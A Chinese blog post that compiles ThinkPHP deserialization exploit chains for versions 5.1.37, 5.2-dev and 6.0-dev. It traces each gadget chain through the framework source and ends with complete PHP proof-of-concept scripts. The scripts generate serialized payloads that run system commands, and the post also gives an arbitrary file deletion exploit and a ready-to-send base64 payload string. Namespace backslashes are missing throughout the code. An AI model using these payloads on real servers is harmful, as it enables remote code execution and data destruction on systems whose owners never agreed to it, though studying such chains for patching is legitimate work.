最近Thinkphp序列化合总

  • A+

最近Thinkphp几个版本都出了反序列化利用链,这里集结在一起,下面是复现文章,poc会放在最后

Thinkphp5.1.37

环境搭建

composer create-project topthink/think=5.1.37 v5.1.37

poc演示截图

1.png

调用链

2.png

单步调试

漏洞起点在thinkphplibrarythinkprocesspipeswindows.php的__destruct魔法函数。

php
public function __destruct()
{
$this->close();
$this->removeFiles();
}

php
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

这里同时也存在一个任意文件删除的漏洞,exp如下

```php
<?php
namespace thinkprocesspipes;
class Pipes{
}

class Windows extends Pipes
{
private $files = [];

public function __construct()
{
    $this->files=['C:FakeDSoftwarephpstudyPHPTutorialWWWshell.php'];
}

}

echo base64_encode(serialize(new Windows()));
```

这里$filename会被当做字符串处理,而__toString 当一个对象被反序列化后又被当做字符串使用时会被触发,我们通过传入一个对象来触发__toString 方法。

3.png

php
//thinkphplibrarythinkmodelconcernConversion.php
public function __toString()
{
return $this->toJson();
}

php
//thinkphplibrarythinkmodelconcernConversion.php
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

```php
//thinkphplibrarythinkmodelconcernConversion.php
public function toArray()
{
$item = [];
$hasVisible = false;
...
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

        if (!$relation) {
            $relation = $this->getAttr($key);
            if ($relation) {
                $relation->visible($name);
            }
        }
...

}
```

php
//thinkphplibrarythinkmodelconcernAttribute.php
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
。。。
return $value;
}

php
//thinkphplibrarythinkmodelconcernAttribute.php
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

这里的$this->append是我们可控的,然后通过getRelation($key),但是下面有一个!$relation,所以我们只要置空即可,然后调用getAttr($key),在调用getData($name)函数,这里$this->data['name']我们可控,之后回到toArray函数,通过这一句话$relation->visible($name); 我们控制$relation为一个类对象,调用不存在的visible方法,会自动调用__call方法,那么我们找到一个类对象没有visible方法,但存在__call方法的类,这里

4.png

可以看到这里有一个我们熟悉的回调函数call_user_func_array,但是这里有一个卡住了,就是array_unshift,这个函数把request对象插入到数组的开头,虽然这里的this->hook[$method]我们可以控制,但是构造不出来参数可用的payload,因为第一个参数是$this对象。

目前我们所能控制的内容就是

5.png

也就是我们能调用任意类的任意方法。

下面我们需要找到我们想要调用的方法,参考我之前分析的thinkphp-RCE的文章thinkphp-RCE漏洞分析,最终产生rce的地方是在input函数当中,那我们这里可否直接调用input方法呢,刚刚上面已经说了,参数已经固定死是request类,那我们需要寻找不受这个参数影响的方法。这里采用回溯的方法

```php
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
    // 解析name
    if (strpos($name, '/')) {
        list($name, $type) = explode('/', $name);
    }

    $data = $this->getData($data, $name);

    if (is_null($data)) {
        return $default;
    }

    if (is_object($data)) {
        return $data;
    }
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
    array_walk_recursive($data, [$this, 'filterValue'], $filter);
    if (version_compare(PHP_VERSION, '7.1.0', '<')) {
            // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
            $this->arrayReset($data);
        }
 } else {
    $this->filterValue($data, $name, $filter);
 }
 。。。

```

```php
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;

return $filter;

}
```

```php
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}

return $data;

}
```

这里$filter可控,data参数不可控,而且$name = (string) $name;这里如果直接调用input的话,执行到这一句的时候会报错,直接退出,所以继续回溯,目的是要找到可以控制$name变量,使之最好是字符串。同时也要找到能控制data参数

6.png
```php
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

    // 自动获取请求变量
    switch ($method) {
        case 'POST':
            $vars = $this->post(false);
            break;
        case 'PUT':
        case 'DELETE':
        case 'PATCH':
            $vars = $this->put(false);
            break;
        default:
            $vars = [];
    }

    // 当前请求参数和URL地址中的参数合并
    $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

    $this->mergeParam = true;
}

if (true === $name) {
    // 获取包含文件上传信息的数组
    $file = $this->file();
    $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

    return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);

}
```

php
array_merge($this->param, $this->get(false), $vars, $this->route(false));

```php
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;
}

return $this->input($this->get, $name, $default, $filter);

}
```

php
public function route($name = '', $default = null, $filter = '')
{
return $this->input($this->route, $name, $default, $filter);
}

php
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
...
}

可以看到这里this->param完全可控,是通过get传参数进去的,那么也就是说input函数中的$data参数可控,也就是call_user_func的$value,现在差一个条件,那就是name是字符串,继续回溯。

```php
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
    return $result;
}

$result           = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;

}
```

可以看到这里$this->config['var_ajax']可控,那么也就是name可控,所有条件聚齐。成功导致rce。

7.png
补充:

```php
<?php

function filterValue(&$value,$key,$filters){
if (is_callable($filters)) {
// 调用函数或者方法过滤
$value = call_user_func($filters, $value);
}
return $value;
}

$data = array('input'=>"asdfasdf",'id'=>'whoami');
array_walk_recursive($data, "filterValue", "system");
```

8.png

9.png

Thinkphp5.2.*-dev

环境搭建

composer create-project topthink/think=5.2.*-dev v5.2

poc演示截图

1.png

调用链

2.png

单步调试

可以看到前面的链跟tp5.1.x的一样,这里不在列举,直接进去toArray函数,可以看到$data可控

```php
public function toArray(): array
{
。。。
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
    if ($val instanceof Model || $val instanceof ModelCollection) {
        // 关联模型对象
        if (isset($this->visible[$key])) {
            $val->visible($this->visible[$key]);
        } elseif (isset($this->hidden[$key])) {
            $val->hidden($this->hidden[$key]);
        }
        // 关联模型对象
        $item[$key] = $val->toArray();
    } elseif (isset($this->visible[$key])) {
        $item[$key] = $this->getAttr($key);
    } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
        $item[$key] = $this->getAttr($key);
    }
}
。。。

```

```php
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = true;
$value = null;
}

    return $this->getValue($name, $value, $relation);
}

```

```php
public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}

    $fieldName = $this->getRealFieldName($name);

    if (array_key_exists($fieldName, $this->data)) {
        return $this->data[$fieldName];
        ...
    }
}

```

php
protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : App::parseName($name); //this->strict默认为true
}

可以看到getAttr函数中的$value可控,那么导致$this->getValue($name, $value, $relation);这里的三个参数都可控,跟进$this->getValue($name, $value, $relation);

```php
protected function getValue(string $name, $value, bool $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
$method = 'get' . App::parseName($name, 1) . 'Attr';

if (isset($this->withAttr[$fieldName])) {
    if ($relation) {
        $value = $this->getRelationValue($name);
    }

    $closure = $this->withAttr[$fieldName];
    $value   = $closure($value, $this->data);

```

这里$fieldName、$this->withAttr,导致$closure也可控,最终直接产生RCE。如下图

3.png
补充:

```php
<?php

$a = array();
system('whoami',$a);
```

4.png

5.png

Thinkphp6.0.*-dev

环境搭建

composer create-project topthink/think=6.0.*-dev v6.0

poc演示截图

2.png

调用链

3.png

单步调试

php
//vendortopthinkthink-ormsrcModel.php
public function __destruct()
{
if ($this->lazySave) { //$this->lazySave可控
$this->save();
}
}

```php
//vendortopthinkthink-ormsrcModel.php
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
    return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence); //this->exists可控

if (false === $result) {
    return false;
}

```

php
//vendortopthinkthink-ormsrcModel.php
public function isEmpty(): bool
{
return empty($this->data); //可控
}

php
protected function trigger(string $event): bool
{
if (!$this->withEvent) { //可控
return true;
}
...
}

```php
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) { //可控
return false;
}

$this->checkData();

// 获取有更新的数据
$data = $this->getChangedData();

if (empty($data)) {         //$data可控
    // 关联更新
    if (!empty($this->relationWrite)) {
        $this->autoRelationUpdate();
    }

    return true;
}

if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
    // 自动写入更新时间
    $data[$this->updateTime]       = $this->autoWriteTimestamp($this->updateTime);
    $this->data[$this->updateTime] = $data[$this->updateTime];
}

// 检查允许字段
$allowFields = $this->checkAllowFields();

```

```php
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
//$this->force可控
return is_object($a) || $a != $b ? 1 : 0;
});

// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
    if (isset($data[$field])) {
        unset($data[$field]);
    }
}

return $data;

}
```

php
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) { //$this->field可控
if (!empty($this->schema)) { //$this->schema可控
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();

```php
public function db($scope = []): Query
{
/* @var Query $query /
$query = self::$db->connect($this->connection) //$this->connection可控
->name($this->name . $this->suffix) //$this->suffix可控,采用拼接,调用_toString
->pk($this->pk);

```

后面的链跟之前的一样,这里就不分析了

4.png

所有poc

v5.1.37

```php
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace thinkprocesspipes;

use thinkmodelconcernConversion;
use thinkmodelPivot;
class Windows
{
private $files = [];

public function __construct()
{
    $this->files=[new Pivot()];
}

}
namespace thinkmodel;

use thinkModel;

class Pivot extends Model
{
}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));
/input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami/
?>
```

v5.2.*-dev

```php
<?php
namespace thinkprocesspipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}

namespace thinkmodelconcern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}

trait Attribute
{
    private $data;
    private $withAttr = array("Smi1e" => "system");

    public function get($system)
    {
        $this->data = array("Smi1e" => "$system");
    }
}

}
namespace think {
abstract class Model
{
use modelconcernAttribute;
use modelconcernConversion;
}
}

namespace thinkmodel{
use thinkModel;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
namespace{
$Conver = new thinkmodelPivot("whoami");
$payload = new thinkprocesspipesWindows($Conver);
echo base64_encode(serialize($payload));
}
?>
```

v6.0.*-dev

```php
<?php
/*
* Created by PhpStorm.
* User: wh1t3P1g
/

namespace thinkmodelconcern {
trait Conversion{
protected $visible;
}
trait RelationShip{
private $relation;
}
trait Attribute{
private $withAttr;
private $data;
protected $type;
}
trait ModelEvent{
protected $withEvent;
}
}

namespace think {
abstract class Model{
use modelconcernRelationShip;
use modelconcernConversion;
use modelconcernAttribute;
use modelconcernModelEvent;
private $lazySave;
private $exists;
private $force;
protected $connection;
protected $suffix;
function __construct($obj)
{
if($obj == null){
$this->data = array("wh1t3p1g"=>"whoami");
$this->relation = array("wh1t3p1g"=>[]);
$this->visible= array("wh1t3p1g"=>[]);
$this->withAttr = array("wh1t3p1g"=>"system");
}else{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->data = array("wh1t3p1g"=>[]);
$this->connection = "mysql";
$this->suffix = $obj;
}
}
}
}

namespace thinkmodel {
class Pivot extends thinkModel{
function __construct($obj)
{
parent::__construct($obj);
}
}
}

namespace {
$pivot1 = new thinkmodelPivot(null);
$pivot2 = new thinkmodelPivot($pivot1);
echo base64_encode(serialize($pivot2));
}
```

所有Thinkphp版本下载链接

https://packagist.org/packages/topthink/framework

相关推荐: 渗透测试中文件上传技巧

上传文件名fuzz字典 根据语言、解析漏洞、中间件、系统特性以及一些绕过WAF的方法:黑名单、大小写、ADS流、截断、空格、长度、htaccess等生存文件名字典。 Gayhub:https://github.com/c0ny1/upload-fuzz-dic…